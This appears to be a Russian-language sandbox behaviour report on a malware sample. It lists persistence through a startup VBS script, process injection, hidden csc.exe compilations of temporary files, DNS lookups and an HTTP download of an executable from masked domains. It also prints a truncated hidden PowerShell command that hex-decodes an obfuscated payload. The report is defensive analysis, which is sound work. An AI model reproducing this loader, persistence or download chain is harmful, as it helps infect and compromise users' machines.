Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\calculatorserv.vbs
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function jb83291 {param($me9fbe)$gf1a7='maf2b4';$qb23de='';for ($i=0; $i -lt $me9fbe.length;$i+=2){$me33c=[convert]::ToByte($me9fbe.Substring($i,2),16);$qb23de+=[char]($me...
Внедряет код в
следующие пользовательские процессы:
- calculatorserv.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\lcf8rvlm.0.cs
- %TEMP%\res4e2e.tmp
- %TEMP%\ukn_yssi.dll
- %TEMP%\res4ef9.tmp
- %TEMP%\userpnr5.dll
- %TEMP%\vo1guddw.dll
- %TEMP%\9rj0ah0b.dll
- %TEMP%\gtrxullo.dll
- %TEMP%\juzolmr-.0.cs
- %TEMP%\juzolmr-.cmdline
- %TEMP%\juzolmr-.out
- %TEMP%\csc62ce.tmp
- %TEMP%\res62de.tmp
- %TEMP%\res4ddf.tmp
- %TEMP%\lcf8rvlm.dll
- %TEMP%\juzolmr-.dll
- %TEMP%\voz4guqs.out
- %TEMP%\csc7e74.tmp
- %TEMP%\res7e85.tmp
- %TEMP%\voz4guqs.dll
- %TEMP%\a1f_lhoh.0.cs
- %TEMP%\a1f_lhoh.cmdline
- %TEMP%\a1f_lhoh.out
- %TEMP%\csc9884.tmp
- %TEMP%\res98a4.tmp
- %TEMP%\a1f_lhoh.dll
- %APPDATA%\a7bd13.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{bf3a83ee-aa7a-49a9-a71b-61a888533ed4}.tmp
- %TEMP%\voz4guqs.0.cs
- %TEMP%\voz4guqs.cmdline
- %TEMP%\res4c3a.tmp
- %TEMP%\res4b6e.tmp
- %TEMP%\res4aa3.tmp
- %TEMP%\lcf8rvlm.out
- %TEMP%\ukn_yssi.0.cs
- %TEMP%\ukn_yssi.cmdline
- %TEMP%\vo1guddw.0.cs
- %TEMP%\brwqfses.0.cs
- %TEMP%\brwqfses.cmdline
- %TEMP%\brwqfses.out
- %TEMP%\vo1guddw.cmdline
- %TEMP%\vo1guddw.out
- %TEMP%\9rj0ah0b.0.cs
- %TEMP%\userpnr5.0.cs
- %TEMP%\userpnr5.cmdline
- %TEMP%\9rj0ah0b.cmdline
- %TEMP%\lcf8rvlm.cmdline
- %TEMP%\9rj0ah0b.out
- %TEMP%\userpnr5.out
- %TEMP%\gtrxullo.0.cs
- %TEMP%\gtrxullo.cmdline
- %TEMP%\gtrxullo.out
- %TEMP%\csc496a.tmp
- %TEMP%\csc4a93.tmp
- %TEMP%\csc4b4e.tmp
- %TEMP%\csc4c29.tmp
- %TEMP%\csc4dbf.tmp
- %TEMP%\csc4e0d.tmp
- %TEMP%\csc4ee8.tmp
- %TEMP%\res498a.tmp
- %TEMP%\brwqfses.dll
- %TEMP%\ukn_yssi.out
- %APPDATA%\calculatorserv\calculatorserv.exe
- %APPDATA%\calculatorserv\calculatorserv.exe:zoneidentifier
Удаляет следующие файлы
- %TEMP%\res498a.tmp
- %TEMP%\res62de.tmp
- %TEMP%\gtrxullo.pdb
- %TEMP%\gtrxullo.dll
- %TEMP%\gtrxullo.0.cs
- %TEMP%\gtrxullo.cmdline
- %TEMP%\juzolmr-.dll
- %TEMP%\gtrxullo.out
- %TEMP%\9rj0ah0b.dll
- %TEMP%\9rj0ah0b.0.cs
- %TEMP%\9rj0ah0b.pdb
- %TEMP%\9rj0ah0b.out
- %TEMP%\vo1guddw.cmdline
- %TEMP%\vo1guddw.0.cs
- %TEMP%\9rj0ah0b.cmdline
- %TEMP%\ukn_yssi.dll
- %TEMP%\juzolmr-.out
- %TEMP%\a1f_lhoh.0.cs
- %TEMP%\a1f_lhoh.out
- %TEMP%\a1f_lhoh.dll
- %TEMP%\csc9884.tmp
- %TEMP%\res98a4.tmp
- %TEMP%\voz4guqs.0.cs
- %TEMP%\vo1guddw.out
- %TEMP%\csc62ce.tmp
- %TEMP%\voz4guqs.pdb
- %TEMP%\voz4guqs.dll
- %TEMP%\csc7e74.tmp
- %TEMP%\res7e85.tmp
- %TEMP%\juzolmr-.pdb
- %TEMP%\juzolmr-.cmdline
- %TEMP%\voz4guqs.cmdline
- %TEMP%\juzolmr-.0.cs
- %TEMP%\vo1guddw.pdb
- %TEMP%\vo1guddw.dll
- %TEMP%\userpnr5.dll
- %TEMP%\res4ddf.tmp
- %TEMP%\csc496a.tmp
- %TEMP%\brwqfses.out
- %TEMP%\brwqfses.cmdline
- %TEMP%\brwqfses.dll
- %TEMP%\brwqfses.0.cs
- %TEMP%\a1f_lhoh.cmdline
- %TEMP%\brwqfses.pdb
- %TEMP%\res4c3a.tmp
- %TEMP%\res4e2e.tmp
- %TEMP%\csc4e0d.tmp
- %TEMP%\res4aa3.tmp
- %TEMP%\csc4a93.tmp
- %TEMP%\res4b6e.tmp
- %TEMP%\csc4dbf.tmp
- %TEMP%\voz4guqs.out
- %TEMP%\csc4c29.tmp
- %TEMP%\lcf8rvlm.dll
- %TEMP%\lcf8rvlm.0.cs
- %TEMP%\userpnr5.pdb
- %TEMP%\userpnr5.0.cs
- %TEMP%\userpnr5.cmdline
- %TEMP%\userpnr5.out
- %TEMP%\csc4ee8.tmp
- %TEMP%\lcf8rvlm.pdb
- %TEMP%\res4ef9.tmp
- %TEMP%\csc4b4e.tmp
- %TEMP%\ukn_yssi.cmdline
- %TEMP%\ukn_yssi.pdb
- %TEMP%\ukn_yssi.0.cs
- %TEMP%\lcf8rvlm.cmdline
- %TEMP%\lcf8rvlm.out
- %TEMP%\ukn_yssi.out
- %TEMP%\a1f_lhoh.pdb
Сетевая активность
TCP
Запросы HTTP GET
- http://kp##co.com/DC04.exe
UDP
- DNS ASK kp##co.com
- DNS ASK el#####s.eluma101.com
Другое
Создает и запускает на исполнение
- '%APPDATA%\calculatorserv\calculatorserv.exe' 2 1000 1234656
- '%APPDATA%\a7bd13.exe'
- '%APPDATA%\calculatorserv\calculatorserv.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES98A4.tmp" "%TEMP%\CSC9884.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\a1f_lhoh.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E85.tmp" "%TEMP%\CSC7E74.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\voz4guqs.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES62DE.tmp" "%TEMP%\CSC62CE.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\juzolmr-.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4EF9.tmp" "%TEMP%\CSC4EE8.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4E2E.tmp" "%TEMP%\CSC4E0D.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4B6E.tmp" "%TEMP%\CSC4B4E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4AA3.tmp" "%TEMP%\CSC4A93.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4C3A.tmp" "%TEMP%\CSC4C29.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES498A.tmp" "%TEMP%\CSC496A.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gtrxullo.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\userpnr5.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ukn_yssi.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9rj0ah0b.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vo1guddw.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brwqfses.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lcf8rvlm.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4DDF.tmp" "%TEMP%\CSC4DBF.tmp"' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function jb83291 {param($me9fbe)$gf1a7='maf2b4';$qb23de='';for ($i=0; $i -lt $me9fbe.length;$i+=2){$me33c=[convert]::ToByte($me9fbe.Substring($i,2),16);$qb23de+=[char]($me...' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\a1f_lhoh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E85.tmp" "%TEMP%\CSC7E74.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\voz4guqs.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES62DE.tmp" "%TEMP%\CSC62CE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\juzolmr-.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4EF9.tmp" "%TEMP%\CSC4EE8.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4E2E.tmp" "%TEMP%\CSC4E0D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4DDF.tmp" "%TEMP%\CSC4DBF.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4C3A.tmp" "%TEMP%\CSC4C29.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4B6E.tmp" "%TEMP%\CSC4B4E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4AA3.tmp" "%TEMP%\CSC4A93.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES498A.tmp" "%TEMP%\CSC496A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gtrxullo.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\userpnr5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ukn_yssi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9rj0ah0b.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vo1guddw.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brwqfses.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lcf8rvlm.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES98A4.tmp" "%TEMP%\CSC9884.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
